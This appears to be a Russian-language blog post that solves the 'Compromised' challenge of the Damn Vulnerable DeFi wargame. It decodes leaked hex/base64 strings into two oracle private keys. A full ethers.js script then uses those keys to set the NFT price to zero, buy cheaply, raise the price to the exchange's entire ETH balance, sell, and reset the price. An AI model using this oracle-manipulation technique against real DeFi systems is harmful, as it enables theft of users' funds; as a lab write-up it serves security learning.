Damn Vulnerable Defi. Задача 7. Compromised
Нам нужно забрать весь Эфир с обменника.
В чем суть?
Я никогда ранее не встречал таких выводов с числами, поэтому скажу сразу, что эту задачу я пошел гуглить.
Как оказалось эти длинные значение, типа:
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
Нужно сначала перевести из байтов в строковые значение, а потом использовать декодер base64, чтобы получить приватные ключи.
Эти ключи, как оказалось, являются доступами к оракулам. которые используются для получения средней цены для NFT, которые, по логике задачи, нам нужно взломать, чтобы получить весь Эфир на свой счет.
Итак, пойдем пошагово.
Через все операции по декодированию мы получаем два приватных ключа от оракулов.
Далее нам нужно создать объекты этих оракулов с помощью:
new ethers.Wallet(privateKey, ethers.provider);
Про Wallet можно почитать тут. Но в целом, Wallet содержит в себе публичный или приватный ключи, который используется для того, чтобы подписывать транзакции и доказывать ownership.
Другими словами, здесь мы создадим два объекта, подключив которые, мы сможем управлять ценой NFT и проходить модификатор onlyTrustedSource в контракте TrustfulOracle.
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", ethers.utils.parseEther("0"));
В этой строке мы "берем на контракт, подключаемся к нему от имени оракула и меняем цену".
Далее, так как мы установили цену в ноль, то можем дешево купить NFT.
Потом снова через оракула устанавливаем цену NFT, но уже на максимум.
Продаем наш "золотой" NFT.
Ну, и чтобы пройти последнюю проверку в тестах:
expect(await this.oracle.getMedianPrice("DVNFT")).to.eq(INITIAL_NFT_PRICE);
нужно установить цену NFT, какой она была изначально.
В этой задаче можно обойтись без написания кода контракта. И решение может выглядеть так:
let privateKey1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
let privateKey2 = "0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48";
let compromisedOracle1 = new ethers.Wallet(privateKey1, ethers.provider);
let compromisedOracle2 = new ethers.Wallet(privateKey2, ethers.provider);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", ethers.utils.parseEther("0"));
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", ethers.utils.parseEther("0"));
const tx = await this.exchange.connect(attacker).buyOne({ value: ethers.utils.parseEther("0.01") });
await this.exchange.on("TokenBought", async(sender, tokenId, currentPriceInWei) => {
await this.nftToken.connect(attacker).approve(this.exchange.address, tokenId);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE);
await this.exchange.connect(attacker).sellOne(tokenId);
await this.oracle.connect(compromisedOracle1).postPrice("DVNFT", INITIAL_NFT_PRICE);
await this.oracle.connect(compromisedOracle2).postPrice("DVNFT", INITIAL_NFT_PRICE);
});
await tx.wait(2);
Проверяем правильность решения командой yarn run compromised.
#dvd #DamnVulnerableDefi
Post #446
164